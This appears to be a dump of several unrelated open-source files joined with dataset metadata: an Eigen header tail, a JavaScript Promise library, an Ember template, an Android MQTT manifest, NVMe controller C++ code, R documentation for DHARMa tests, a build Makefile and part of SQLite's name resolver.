#ifdef EIGEN_CWISE_PLUGIN
#include EIGEN_CWISE_PLUGIN
#endif
protected:
ExpressionTypeNested m_matrix;
};
/** \returns a Cwise wrapper of *this providing additional coefficient-wise operations
*
* Example: \include MatrixBase_cwise_const.cpp
* Output: \verbinclude MatrixBase_cwise_const.out
*
* \sa class Cwise, cwise()
*/
template<typename Derived>
inline const Cwise<Derived> MatrixBase<Derived>::cwise() const
{
return derived();
}
/** \returns a Cwise wrapper of *this providing additional coefficient-wise operations
*
* Example: \include MatrixBase_cwise.cpp
* Output: \verbinclude MatrixBase_cwise.out
*
* \sa class Cwise, cwise() const
*/
template<typename Derived>
inline Cwise<Derived> MatrixBase<Derived>::cwise()
{
return derived();
}
} // end namespace Eigen
#endif // EIGEN_CWISE_H
| {
"pile_set_name": "Github"
} |
"use strict";
module.exports = function() {
var makeSelfResolutionError = function () {
return new TypeError("circular promise resolution chain\u000a\u000a See http://goo.gl/LhFpo0\u000a");
};
var reflect = function() {
return new Promise.PromiseInspection(this._target());
};
var apiRejection = function(msg) {
return Promise.reject(new TypeError(msg));
};
var util = require("./util.js");
var getDomain;
if (util.isNode) {
getDomain = function() {
var ret = process.domain;
if (ret === undefined) ret = null;
return ret;
};
} else {
getDomain = function() {
return null;
};
}
util.notEnumerableProp(Promise, "_getDomain", getDomain);
var UNDEFINED_BINDING = {};
var async = require("./async.js");
var errors = require("./errors.js");
var TypeError = Promise.TypeError = errors.TypeError;
Promise.RangeError = errors.RangeError;
Promise.CancellationError = errors.CancellationError;
Promise.TimeoutError = errors.TimeoutError;
Promise.OperationalError = errors.OperationalError;
Promise.RejectionError = errors.OperationalError;
Promise.AggregateError = errors.AggregateError;
var INTERNAL = function(){};
var APPLY = {};
var NEXT_FILTER = {e: null};
var tryConvertToPromise = require("./thenables.js")(Promise, INTERNAL);
var PromiseArray =
require("./promise_array.js")(Promise, INTERNAL,
tryConvertToPromise, apiRejection);
var CapturedTrace = require("./captured_trace.js")();
var isDebugging = require("./debuggability.js")(Promise, CapturedTrace);
/*jshint unused:false*/
var createContext =
require("./context.js")(Promise, CapturedTrace, isDebugging);
var CatchFilter = require("./catch_filter.js")(NEXT_FILTER);
var PromiseResolver = require("./promise_resolver.js");
var nodebackForPromise = PromiseResolver._nodebackForPromise;
var errorObj = util.errorObj;
var tryCatch = util.tryCatch;
function Promise(resolver) {
if (typeof resolver !== "function") {
throw new TypeError("the promise constructor requires a resolver function\u000a\u000a See http://goo.gl/EC22Yn\u000a");
}
if (this.constructor !== Promise) {
throw new TypeError("the promise constructor cannot be invoked directly\u000a\u000a See http://goo.gl/KsIlge\u000a");
}
this._bitField = 0;
this._fulfillmentHandler0 = undefined;
this._rejectionHandler0 = undefined;
this._progressHandler0 = undefined;
this._promise0 = undefined;
this._receiver0 = undefined;
this._settledValue = undefined;
if (resolver !== INTERNAL) this._resolveFromResolver(resolver);
}
Promise.prototype.toString = function () {
return "[object Promise]";
};
Promise.prototype.caught = Promise.prototype["catch"] = function (fn) {
var len = arguments.length;
if (len > 1) {
var catchInstances = new Array(len - 1),
j = 0, i;
for (i = 0; i < len - 1; ++i) {
var item = arguments[i];
if (typeof item === "function") {
catchInstances[j++] = item;
} else {
return Promise.reject(
new TypeError("Catch filter must inherit from Error or be a simple predicate function\u000a\u000a See http://goo.gl/o84o68\u000a"));
}
}
catchInstances.length = j;
fn = arguments[i];
var catchFilter = new CatchFilter(catchInstances, fn, this);
return this._then(undefined, catchFilter.doFilter, undefined,
catchFilter, undefined);
}
return this._then(undefined, fn, undefined, undefined, undefined);
};
Promise.prototype.reflect = function () {
return this._then(reflect, reflect, undefined, this, undefined);
};
Promise.prototype.then = function (didFulfill, didReject, didProgress) {
if (isDebugging() && arguments.length > 0 &&
typeof didFulfill !== "function" &&
typeof didReject !== "function") {
var msg = ".then() only accepts functions but was passed: " +
util.classString(didFulfill);
if (arguments.length > 1) {
msg += ", " + util.classString(didReject);
}
this._warn(msg);
}
return this._then(didFulfill, didReject, didProgress,
undefined, undefined);
};
Promise.prototype.done = function (didFulfill, didReject, didProgress) {
var promise = this._then(didFulfill, didReject, didProgress,
undefined, undefined);
promise._setIsFinal();
};
Promise.prototype.spread = function (didFulfill, didReject) {
return this.all()._then(didFulfill, didReject, undefined, APPLY, undefined);
};
Promise.prototype.isCancellable = function () {
return !this.isResolved() &&
this._cancellable();
};
Promise.prototype.toJSON = function () {
var ret = {
isFulfilled: false,
isRejected: false,
fulfillmentValue: undefined,
rejectionReason: undefined
};
if (this.isFulfilled()) {
ret.fulfillmentValue = this.value();
ret.isFulfilled = true;
} else if (this.isRejected()) {
ret.rejectionReason = this.reason();
ret.isRejected = true;
}
return ret;
};
Promise.prototype.all = function () {
return new PromiseArray(this).promise();
};
Promise.prototype.error = function (fn) {
return this.caught(util.originatesFromRejection, fn);
};
Promise.is = function (val) {
return val instanceof Promise;
};
Promise.fromNode = function(fn) {
var ret = new Promise(INTERNAL);
var result = tryCatch(fn)(nodebackForPromise(ret));
if (result === errorObj) {
ret._rejectCallback(result.e, true, true);
}
return ret;
};
Promise.all = function (promises) {
return new PromiseArray(promises).promise();
};
Promise.defer = Promise.pending = function () {
var promise = new Promise(INTERNAL);
return new PromiseResolver(promise);
};
Promise.cast = function (obj) {
var ret = tryConvertToPromise(obj);
if (!(ret instanceof Promise)) {
var val = ret;
ret = new Promise(INTERNAL);
ret._fulfillUnchecked(val);
}
return ret;
};
Promise.resolve = Promise.fulfilled = Promise.cast;
Promise.reject = Promise.rejected = function (reason) {
var ret = new Promise(INTERNAL);
ret._captureStackTrace();
ret._rejectCallback(reason, true);
return ret;
};
Promise.setScheduler = function(fn) {
if (typeof fn !== "function") throw new TypeError("fn must be a function\u000a\u000a See http://goo.gl/916lJJ\u000a");
var prev = async._schedule;
async._schedule = fn;
return prev;
};
Promise.prototype._then = function (
didFulfill,
didReject,
didProgress,
receiver,
internalData
) {
var haveInternalData = internalData !== undefined;
var ret = haveInternalData ? internalData : new Promise(INTERNAL);
if (!haveInternalData) {
ret._propagateFrom(this, 4 | 1);
ret._captureStackTrace();
}
var target = this._target();
if (target !== this) {
if (receiver === undefined) receiver = this._boundTo;
if (!haveInternalData) ret._setIsMigrated();
}
var callbackIndex = target._addCallbacks(didFulfill,
didReject,
didProgress,
ret,
receiver,
getDomain());
if (target._isResolved() && !target._isSettlePromisesQueued()) {
async.invoke(
target._settlePromiseAtPostResolution, target, callbackIndex);
}
return ret;
};
Promise.prototype._settlePromiseAtPostResolution = function (index) {
if (this._isRejectionUnhandled()) this._unsetRejectionIsUnhandled();
this._settlePromiseAt(index);
};
Promise.prototype._length = function () {
return this._bitField & 131071;
};
Promise.prototype._isFollowingOrFulfilledOrRejected = function () {
return (this._bitField & 939524096) > 0;
};
Promise.prototype._isFollowing = function () {
return (this._bitField & 536870912) === 536870912;
};
Promise.prototype._setLength = function (len) {
this._bitField = (this._bitField & -131072) |
(len & 131071);
};
Promise.prototype._setFulfilled = function () {
this._bitField = this._bitField | 268435456;
};
Promise.prototype._setRejected = function () {
this._bitField = this._bitField | 134217728;
};
Promise.prototype._setFollowing = function () {
this._bitField = this._bitField | 536870912;
};
Promise.prototype._setIsFinal = function () {
this._bitField = this._bitField | 33554432;
};
Promise.prototype._isFinal = function () {
return (this._bitField & 33554432) > 0;
};
Promise.prototype._cancellable = function () {
return (this._bitField & 67108864) > 0;
};
Promise.prototype._setCancellable = function () {
this._bitField = this._bitField | 67108864;
};
Promise.prototype._unsetCancellable = function () {
this._bitField = this._bitField & (~67108864);
};
Promise.prototype._setIsMigrated = function () {
this._bitField = this._bitField | 4194304;
};
Promise.prototype._unsetIsMigrated = function () {
this._bitField = this._bitField & (~4194304);
};
Promise.prototype._isMigrated = function () {
return (this._bitField & 4194304) > 0;
};
Promise.prototype._receiverAt = function (index) {
var ret = index === 0
? this._receiver0
: this[
index * 5 - 5 + 4];
if (ret === UNDEFINED_BINDING) {
return undefined;
} else if (ret === undefined && this._isBound()) {
return this._boundValue();
}
return ret;
};
Promise.prototype._promiseAt = function (index) {
return index === 0
? this._promise0
: this[index * 5 - 5 + 3];
};
Promise.prototype._fulfillmentHandlerAt = function (index) {
return index === 0
? this._fulfillmentHandler0
: this[index * 5 - 5 + 0];
};
Promise.prototype._rejectionHandlerAt = function (index) {
return index === 0
? this._rejectionHandler0
: this[index * 5 - 5 + 1];
};
Promise.prototype._boundValue = function() {
var ret = this._boundTo;
if (ret !== undefined) {
if (ret instanceof Promise) {
if (ret.isFulfilled()) {
return ret.value();
} else {
return undefined;
}
}
}
return ret;
};
Promise.prototype._migrateCallbacks = function (follower, index) {
var fulfill = follower._fulfillmentHandlerAt(index);
var reject = follower._rejectionHandlerAt(index);
var progress = follower._progressHandlerAt(index);
var promise = follower._promiseAt(index);
var receiver = follower._receiverAt(index);
if (promise instanceof Promise) promise._setIsMigrated();
if (receiver === undefined) receiver = UNDEFINED_BINDING;
this._addCallbacks(fulfill, reject, progress, promise, receiver, null);
};
Promise.prototype._addCallbacks = function (
fulfill,
reject,
progress,
promise,
receiver,
domain
) {
var index = this._length();
if (index >= 131071 - 5) {
index = 0;
this._setLength(0);
}
if (index === 0) {
this._promise0 = promise;
if (receiver !== undefined) this._receiver0 = receiver;
if (typeof fulfill === "function" && !this._isCarryingStackTrace()) {
this._fulfillmentHandler0 =
domain === null ? fulfill : domain.bind(fulfill);
}
if (typeof reject === "function") {
this._rejectionHandler0 =
domain === null ? reject : domain.bind(reject);
}
if (typeof progress === "function") {
this._progressHandler0 =
domain === null ? progress : domain.bind(progress);
}
} else {
var base = index * 5 - 5;
this[base + 3] = promise;
this[base + 4] = receiver;
if (typeof fulfill === "function") {
this[base + 0] =
domain === null ? fulfill : domain.bind(fulfill);
}
if (typeof reject === "function") {
this[base + 1] =
domain === null ? reject : domain.bind(reject);
}
if (typeof progress === "function") {
this[base + 2] =
domain === null ? progress : domain.bind(progress);
}
}
this._setLength(index + 1);
return index;
};
Promise.prototype._setProxyHandlers = function (receiver, promiseSlotValue) {
var index = this._length();
if (index >= 131071 - 5) {
index = 0;
this._setLength(0);
}
if (index === 0) {
this._promise0 = promiseSlotValue;
this._receiver0 = receiver;
} else {
var base = index * 5 - 5;
this[base + 3] = promiseSlotValue;
this[base + 4] = receiver;
}
this._setLength(index + 1);
};
Promise.prototype._proxyPromiseArray = function (promiseArray, index) {
this._setProxyHandlers(promiseArray, index);
};
Promise.prototype._resolveCallback = function(value, shouldBind) {
if (this._isFollowingOrFulfilledOrRejected()) return;
if (value === this)
return this._rejectCallback(makeSelfResolutionError(), false, true);
var maybePromise = tryConvertToPromise(value, this);
if (!(maybePromise instanceof Promise)) return this._fulfill(value);
var propagationFlags = 1 | (shouldBind ? 4 : 0);
this._propagateFrom(maybePromise, propagationFlags);
var promise = maybePromise._target();
if (promise._isPending()) {
var len = this._length();
for (var i = 0; i < len; ++i) {
promise._migrateCallbacks(this, i);
}
this._setFollowing();
this._setLength(0);
this._setFollowee(promise);
} else if (promise._isFulfilled()) {
this._fulfillUnchecked(promise._value());
} else {
this._rejectUnchecked(promise._reason(),
promise._getCarriedStackTrace());
}
};
Promise.prototype._rejectCallback =
function(reason, synchronous, shouldNotMarkOriginatingFromRejection) {
if (!shouldNotMarkOriginatingFromRejection) {
util.markAsOriginatingFromRejection(reason);
}
var trace = util.ensureErrorObject(reason);
var hasStack = trace === reason;
this._attachExtraTrace(trace, synchronous ? hasStack : false);
this._reject(reason, hasStack ? undefined : trace);
};
Promise.prototype._resolveFromResolver = function (resolver) {
var promise = this;
this._captureStackTrace();
this._pushContext();
var synchronous = true;
var r = tryCatch(resolver)(function(value) {
if (promise === null) return;
promise._resolveCallback(value);
promise = null;
}, function (reason) {
if (promise === null) return;
promise._rejectCallback(reason, synchronous);
promise = null;
});
synchronous = false;
this._popContext();
if (r !== undefined && r === errorObj && promise !== null) {
promise._rejectCallback(r.e, true, true);
promise = null;
}
};
Promise.prototype._settlePromiseFromHandler = function (
handler, receiver, value, promise
) {
if (promise._isRejected()) return;
promise._pushContext();
var x;
if (receiver === APPLY && !this._isRejected()) {
x = tryCatch(handler).apply(this._boundValue(), value);
} else {
x = tryCatch(handler).call(receiver, value);
}
promise._popContext();
if (x === errorObj || x === promise || x === NEXT_FILTER) {
var err = x === promise ? makeSelfResolutionError() : x.e;
promise._rejectCallback(err, false, true);
} else {
promise._resolveCallback(x);
}
};
Promise.prototype._target = function() {
var ret = this;
while (ret._isFollowing()) ret = ret._followee();
return ret;
};
Promise.prototype._followee = function() {
return this._rejectionHandler0;
};
Promise.prototype._setFollowee = function(promise) {
this._rejectionHandler0 = promise;
};
Promise.prototype._cleanValues = function () {
if (this._cancellable()) {
this._cancellationParent = undefined;
}
};
Promise.prototype._propagateFrom = function (parent, flags) {
if ((flags & 1) > 0 && parent._cancellable()) {
this._setCancellable();
this._cancellationParent = parent;
}
if ((flags & 4) > 0 && parent._isBound()) {
this._setBoundTo(parent._boundTo);
}
};
Promise.prototype._fulfill = function (value) {
if (this._isFollowingOrFulfilledOrRejected()) return;
this._fulfillUnchecked(value);
};
Promise.prototype._reject = function (reason, carriedStackTrace) {
if (this._isFollowingOrFulfilledOrRejected()) return;
this._rejectUnchecked(reason, carriedStackTrace);
};
Promise.prototype._settlePromiseAt = function (index) {
var promise = this._promiseAt(index);
var isPromise = promise instanceof Promise;
if (isPromise && promise._isMigrated()) {
promise._unsetIsMigrated();
return async.invoke(this._settlePromiseAt, this, index);
}
var handler = this._isFulfilled()
? this._fulfillmentHandlerAt(index)
: this._rejectionHandlerAt(index);
var carriedStackTrace =
this._isCarryingStackTrace() ? this._getCarriedStackTrace() : undefined;
var value = this._settledValue;
var receiver = this._receiverAt(index);
this._clearCallbackDataAtIndex(index);
if (typeof handler === "function") {
if (!isPromise) {
handler.call(receiver, value, promise);
} else {
this._settlePromiseFromHandler(handler, receiver, value, promise);
}
} else if (receiver instanceof PromiseArray) {
if (!receiver._isResolved()) {
if (this._isFulfilled()) {
receiver._promiseFulfilled(value, promise);
}
else {
receiver._promiseRejected(value, promise);
}
}
} else if (isPromise) {
if (this._isFulfilled()) {
promise._fulfill(value);
} else {
promise._reject(value, carriedStackTrace);
}
}
if (index >= 4 && (index & 31) === 4)
async.invokeLater(this._setLength, this, 0);
};
Promise.prototype._clearCallbackDataAtIndex = function(index) {
if (index === 0) {
if (!this._isCarryingStackTrace()) {
this._fulfillmentHandler0 = undefined;
}
this._rejectionHandler0 =
this._progressHandler0 =
this._receiver0 =
this._promise0 = undefined;
} else {
var base = index * 5 - 5;
this[base + 3] =
this[base + 4] =
this[base + 0] =
this[base + 1] =
this[base + 2] = undefined;
}
};
Promise.prototype._isSettlePromisesQueued = function () {
return (this._bitField &
-1073741824) === -1073741824;
};
Promise.prototype._setSettlePromisesQueued = function () {
this._bitField = this._bitField | -1073741824;
};
Promise.prototype._unsetSettlePromisesQueued = function () {
this._bitField = this._bitField & (~-1073741824);
};
Promise.prototype._queueSettlePromises = function() {
async.settlePromises(this);
this._setSettlePromisesQueued();
};
Promise.prototype._fulfillUnchecked = function (value) {
if (value === this) {
var err = makeSelfResolutionError();
this._attachExtraTrace(err);
return this._rejectUnchecked(err, undefined);
}
this._setFulfilled();
this._settledValue = value;
this._cleanValues();
if (this._length() > 0) {
this._queueSettlePromises();
}
};
Promise.prototype._rejectUncheckedCheckError = function (reason) {
var trace = util.ensureErrorObject(reason);
this._rejectUnchecked(reason, trace === reason ? undefined : trace);
};
Promise.prototype._rejectUnchecked = function (reason, trace) {
if (reason === this) {
var err = makeSelfResolutionError();
this._attachExtraTrace(err);
return this._rejectUnchecked(err);
}
this._setRejected();
this._settledValue = reason;
this._cleanValues();
if (this._isFinal()) {
async.throwLater(function(e) {
if ("stack" in e) {
async.invokeFirst(
CapturedTrace.unhandledRejection, undefined, e);
}
throw e;
}, trace === undefined ? reason : trace);
return;
}
if (trace !== undefined && trace !== reason) {
this._setCarriedStackTrace(trace);
}
if (this._length() > 0) {
this._queueSettlePromises();
} else {
this._ensurePossibleRejectionHandled();
}
};
Promise.prototype._settlePromises = function () {
this._unsetSettlePromisesQueued();
var len = this._length();
for (var i = 0; i < len; i++) {
this._settlePromiseAt(i);
}
};
util.notEnumerableProp(Promise,
"_makeSelfResolutionError",
makeSelfResolutionError);
require("./progress.js")(Promise, PromiseArray);
require("./method.js")(Promise, INTERNAL, tryConvertToPromise, apiRejection);
require("./bind.js")(Promise, INTERNAL, tryConvertToPromise);
require("./finally.js")(Promise, NEXT_FILTER, tryConvertToPromise);
require("./direct_resolve.js")(Promise);
require("./synchronous_inspection.js")(Promise);
require("./join.js")(Promise, PromiseArray, tryConvertToPromise, INTERNAL);
Promise.Promise = Promise;
require('./map.js')(Promise, PromiseArray, apiRejection, tryConvertToPromise, INTERNAL);
require('./cancel.js')(Promise);
require('./using.js')(Promise, apiRejection, tryConvertToPromise, createContext);
require('./generators.js')(Promise, apiRejection, INTERNAL, tryConvertToPromise);
require('./nodeify.js')(Promise);
require('./call_get.js')(Promise);
require('./props.js')(Promise, PromiseArray, tryConvertToPromise, apiRejection);
require('./race.js')(Promise, INTERNAL, tryConvertToPromise, apiRejection);
require('./reduce.js')(Promise, PromiseArray, apiRejection, tryConvertToPromise, INTERNAL);
require('./settle.js')(Promise, PromiseArray);
require('./some.js')(Promise, PromiseArray, apiRejection);
require('./promisify.js')(Promise, INTERNAL);
require('./any.js')(Promise);
require('./each.js')(Promise, INTERNAL);
require('./timers.js')(Promise, INTERNAL);
require('./filter.js')(Promise, INTERNAL);
util.toFastProperties(Promise);
util.toFastProperties(Promise.prototype);
function fillTypes(value) {
var p = new Promise(INTERNAL);
p._fulfillmentHandler0 = value;
p._rejectionHandler0 = value;
p._progressHandler0 = value;
p._promise0 = value;
p._receiver0 = value;
p._settledValue = value;
}
// Complete slack tracking, opt out of field-type tracking and
// stabilize map
fillTypes({a: 1});
fillTypes({b: 2});
fillTypes({c: 3});
fillTypes(1);
fillTypes(function(){});
fillTypes(undefined);
fillTypes(false);
fillTypes(new Promise(INTERNAL));
CapturedTrace.setBounds(async.firstLineError, util.lastLineError);
return Promise;
};
| {
"pile_set_name": "Github"
} |
<div local-class="event">
{{svg-jar @icon local-class="icon" class=(if @smallIcon "fa-svg small" "fa-svg")}}
<div>
<div local-class="badge-and-time">
<time
datetime={{to-iso-string @time}}
title={{format-time @time format="full"}}
local-class="time"
>
{{format-relative @time}}
</time>
{{#if @newBadge}}
<span local-class="new-badge">{{t "new"}}</span>
{{/if}}
</div>
<div local-class="text" data-test-text>
{{@text}}
</div>
</div>
<a href={{@url}} local-class="show-button">{{t "show"}}</a>
</div> | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="paho.mqtt.java.example">
<!-- Permissions the Application Requires -->
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<!--<uses-permission android:name="android.permission.READ_PHONE_STATE" />-->
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.INTERNET" />
<application
android:allowBackup="false"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/AppTheme"
tools:ignore="GoogleAppIndexingWarning">
<activity
android:name=".PahoExampleActivity"
android:label="@string/app_name"
android:theme="@style/AppTheme.NoActionBar">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<!-- Mqtt Service -->
<service android:name="org.eclipse.paho.android.service.MqttService">
</service>
</application>
</manifest>
| {
"pile_set_name": "Github"
} |
#include "ctrl.h"
#include "buffer.h"
#include <nvm_types.h>
#include <nvm_ctrl.h>
#include <nvm_aq.h>
#include <nvm_admin.h>
#include <nvm_util.h>
#include <nvm_error.h>
#include <string>
#include <memory>
#include <vector>
#include <stdexcept>
#include <cstdint>
#include <cstddef>
#include <cstring>
#include <cstdio>
#include <algorithm>
#include <unistd.h>
#include <fcntl.h>
#include <cstdlib>
using error = std::runtime_error;
using std::string;
static void initializeController(struct Controller& ctrl, uint32_t ns_id)
{
// Create admin queue reference
int status = nvm_aq_create(&ctrl.aq_ref, ctrl.ctrl, ctrl.aq_mem.get());
if (!nvm_ok(status))
{
throw error(string("Failed to reset controller: ") + nvm_strerror(status));
}
// Identify controller
status = nvm_admin_ctrl_info(ctrl.aq_ref, &ctrl.info, NVM_DMA_OFFSET(ctrl.aq_mem, 2), ctrl.aq_mem->ioaddrs[2]);
if (!nvm_ok(status))
{
throw error(nvm_strerror(status));
}
// Identify namespace
status = nvm_admin_ns_info(ctrl.aq_ref, &ctrl.ns, ns_id, NVM_DMA_OFFSET(ctrl.aq_mem, 2), ctrl.aq_mem->ioaddrs[2]);
if (!nvm_ok(status))
{
throw error(nvm_strerror(status));
}
// Get number of queues
status = nvm_admin_get_num_queues(ctrl.aq_ref, &ctrl.n_cqs, &ctrl.n_sqs);
if (!nvm_ok(status))
{
throw error(nvm_strerror(status));
}
}
#ifdef __DIS_CLUSTER__
Controller::Controller(uint64_t ctrl_id, uint32_t ns_id, uint32_t adapter, uint32_t segment_id)
: ctrl(nullptr)
, aq_ref(nullptr)
{
// Get controller reference
int status = nvm_dis_ctrl_init(&ctrl, ctrl_id, adapter);
if (!nvm_ok(status))
{
throw error(string("Failed to get controller reference: ") + nvm_strerror(status));
}
// Create admin queue memory
aq_mem = createDma(ctrl, ctrl->page_size * 3, adapter, segment_id);
initializeController(*this, ns_id);
}
#endif
Controller::Controller(const char* path, uint32_t ns_id)
: ctrl(nullptr)
, aq_ref(nullptr)
{
int fd = open(path, O_RDWR | O_NONBLOCK);
if (fd < 0)
{
throw error(string("Failed to open descriptor: ") + strerror(errno));
}
// Get controller reference
int status = nvm_ctrl_init(&ctrl, fd);
if (!nvm_ok(status))
{
throw error(string("Failed to get controller reference: ") + nvm_strerror(status));
}
// Create admin queue memory
aq_mem = createDma(ctrl, ctrl->page_size * 3);
initializeController(*this, ns_id);
close(fd);
}
Controller::~Controller()
{
nvm_aq_destroy(aq_ref);
nvm_ctrl_free(ctrl);
}
void Controller::reserveQueues()
{
reserveQueues(n_sqs, n_cqs);
}
void Controller::reserveQueues(uint16_t numSubmissionQueues)
{
reserveQueues(numSubmissionQueues, n_cqs);
}
void Controller::reserveQueues(uint16_t numSubs, uint16_t numCpls)
{
int status = nvm_admin_request_num_queues(aq_ref, &numSubs, &numCpls);
if (!nvm_ok(status))
{
throw error(string("Failed to reserve queues: ") + nvm_strerror(status));
}
n_sqs = numSubs;
n_cqs = numCpls;
}
| {
"pile_set_name": "Github"
} |
% Generated by roxygen2: do not edit by hand
% Please edit documentation in R/tests.R
\name{testDispersion}
\alias{testDispersion}
\title{DHARMa dispersion tests}
\usage{
testDispersion(simulationOutput, alternative = c("two.sided", "greater",
"less"), plot = T, ...)
}
\arguments{
\item{simulationOutput}{an object of class DHARMa with simulated quantile residuals, either created via \code{\link{simulateResiduals}} or by \code{\link{createDHARMa}} for simulations created outside DHARMa}
\item{alternative}{a character string specifying whether the test should test if observations are "greater", "less" or "two.sided" compared to the simulated null hypothesis. Greater corresponds to overdispersion.}
\item{plot}{whether to plot output}
\item{...}{arguments to pass on to \code{\link{testGeneric}}}
}
\description{
This function performs a simulation-based test for over/underdispersion
}
\details{
The function implements two tests, depending on whether it is applied on a simulation with refit = F, or refit = T.
If refit = F, the function tests the sd of the data against the sd of the simulated data.
If refit = T, the function compares the approximate deviance (via squared pearson residuals) with the same quantity from the models refitted with simulated data. Applying this is much slower than the previous alternative. Given the computational cost, I would suggest that most users will be satisfied with the standard dispersion test.
}
\note{
The results of the dispersion test can can differ depending on whether it is evaluated on conditional (= conditional on fitted random effects) or unconditional (= REs are re-simulated) simulations. You can change between conditional or unconditional simulations in \code{\link{simulateResiduals}} if this is supported by the regression package that you use. The default in DHARMa is to use unconditional simulations, but I have often found that conditional simulations are more sensitive to dispersion problems. I recommend trying both, as neither test should be positive if the dispersion is correct.
}
\examples{
testData = createData(sampleSize = 100, overdispersion = 0.5, randomEffectVariance = 0)
fittedModel <- glm(observedResponse ~ Environment1 , family = "poisson", data = testData)
simulationOutput <- simulateResiduals(fittedModel = fittedModel)
# the plot function runs 4 tests
# i) KS test i) Dispersion test iii) Outlier test iv) quantile test
plot(simulationOutput, quantreg = TRUE)
# testResiduals tests distribution, dispersion and outliers
# testResiduals(simulationOutput)
####### Individual tests #######
# KS test for correct distribution of residuals
testUniformity(simulationOutput)
# Dispersion test
testDispersion(simulationOutput) # tests under and overdispersion
testDispersion(simulationOutput, alternative = "less") # only underdispersion
# if model is refitted, a different test will be called
simulationOutput2 <- simulateResiduals(fittedModel = fittedModel, refit = TRUE, seed = 12)
testDispersion(simulationOutput2)
# often useful to test dispersion per group (e.g. binomial data, see vignette)
simulationOutput3 = recalculateResiduals(simulationOutput, group = testData$group)
testDispersion(simulationOutput3)
# Outlier test (number of observations outside simulation envelope)
# Should set type = "boostrap" for exact values
testOutliers(simulationOutput, type = "binomial")
# testing zero inflation
testZeroInflation(simulationOutput)
# testing generic summaries
countOnes <- function(x) sum(x == 1) # testing for number of 1s
testGeneric(simulationOutput, summary = countOnes) # 1-inflation
testGeneric(simulationOutput, summary = countOnes, alternative = "less") # 1-deficit
means <- function(x) mean(x) # testing if mean prediction fits
testGeneric(simulationOutput, summary = means)
spread <- function(x) sd(x) # testing if mean sd fits
testGeneric(simulationOutput, summary = spread)
}
\seealso{
\code{\link{testResiduals}}, \code{\link{testUniformity}}, \code{\link{testOutliers}}, \code{\link{testZeroInflation}}, \code{\link{testGeneric}}, \code{\link{testTemporalAutocorrelation}}, \code{\link{testSpatialAutocorrelation}}, \code{\link{testQuantiles}}
}
\author{
Florian Hartig
}
| {
"pile_set_name": "Github"
} |
# Copyright (c) 2016 Research Organization for Information Science
# and Technology (RIST). All rights reserved.
# $COPYRIGHT$
#
# Additional copyrights may follow
#
# $HEADER$
#
TESTS = dss_buffer dss_cmp dss_payload dss_print
check_PROGRAMS = $(TESTS) $(MPI_CHECKS)
LDFLAGS = $(OPAL_PKG_CONFIG_LDFLAGS)
LDADD = $(top_builddir)/opal/lib@[email protected]
| {
"pile_set_name": "Github"
} |
/*
** 2008 August 18
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
*************************************************************************
**
** This file contains routines used for walking the parser tree and
** resolve all identifiers by associating them with a particular
** table and column.
*/
#include "sqliteInt.h"
/*
** Walk the expression tree pExpr and increase the aggregate function
** depth (the Expr.op2 field) by N on every TK_AGG_FUNCTION node.
** This needs to occur when copying a TK_AGG_FUNCTION node from an
** outer query into an inner subquery.
**
** incrAggFunctionDepth(pExpr,n) is the main routine. incrAggDepth(..)
** is a helper function - a callback for the tree walker.
*/
static int incrAggDepth(Walker *pWalker, Expr *pExpr){
if( pExpr->op==TK_AGG_FUNCTION ) pExpr->op2 += pWalker->u.n;
return WRC_Continue;
}
static void incrAggFunctionDepth(Expr *pExpr, int N){
if( N>0 ){
Walker w;
memset(&w, 0, sizeof(w));
w.xExprCallback = incrAggDepth;
w.u.n = N;
sqlite3WalkExpr(&w, pExpr);
}
}
/*
** Turn the pExpr expression into an alias for the iCol-th column of the
** result set in pEList.
**
** If the reference is followed by a COLLATE operator, then make sure
** the COLLATE operator is preserved. For example:
**
** SELECT a+b, c+d FROM t1 ORDER BY 1 COLLATE nocase;
**
** Should be transformed into:
**
** SELECT a+b, c+d FROM t1 ORDER BY (a+b) COLLATE nocase;
**
** The nSubquery parameter specifies how many levels of subquery the
** alias is removed from the original expression. The usual value is
** zero but it might be more if the alias is contained within a subquery
** of the original expression. The Expr.op2 field of TK_AGG_FUNCTION
** structures must be increased by the nSubquery amount.
*/
static void resolveAlias(
Parse *pParse, /* Parsing context */
ExprList *pEList, /* A result set */
int iCol, /* A column in the result set. 0..pEList->nExpr-1 */
Expr *pExpr, /* Transform this into an alias to the result set */
const char *zType, /* "GROUP" or "ORDER" or "" */
int nSubquery /* Number of subqueries that the label is moving */
){
Expr *pOrig; /* The iCol-th column of the result set */
Expr *pDup; /* Copy of pOrig */
sqlite3 *db; /* The database connection */
assert( iCol>=0 && iCol<pEList->nExpr );
pOrig = pEList->a[iCol].pExpr;
assert( pOrig!=0 );
db = pParse->db;
pDup = sqlite3ExprDup(db, pOrig, 0);
if( pDup!=0 ){
if( zType[0]!='G' ) incrAggFunctionDepth(pDup, nSubquery);
if( pExpr->op==TK_COLLATE ){
pDup = sqlite3ExprAddCollateString(pParse, pDup, pExpr->u.zToken);
}
ExprSetProperty(pDup, EP_Alias);
/* Before calling sqlite3ExprDelete(), set the EP_Static flag. This
** prevents ExprDelete() from deleting the Expr structure itself,
** allowing it to be repopulated by the memcpy() on the following line.
** The pExpr->u.zToken might point into memory that will be freed by the
** sqlite3DbFree(db, pDup) on the last line of this block, so be sure to
** make a copy of the token before doing the sqlite3DbFree().
*/
ExprSetProperty(pExpr, EP_Static);
sqlite3ExprDelete(db, pExpr);
memcpy(pExpr, pDup, sizeof(*pExpr));
if( !ExprHasProperty(pExpr, EP_IntValue) && pExpr->u.zToken!=0 ){
assert( (pExpr->flags & (EP_Reduced|EP_TokenOnly))==0 );
pExpr->u.zToken = sqlite3DbStrDup(db, pExpr->u.zToken);
pExpr->flags |= EP_MemToken;
}
sqlite3DbFree(db, pDup);
}
ExprSetProperty(pExpr, EP_Alias);
}
/*
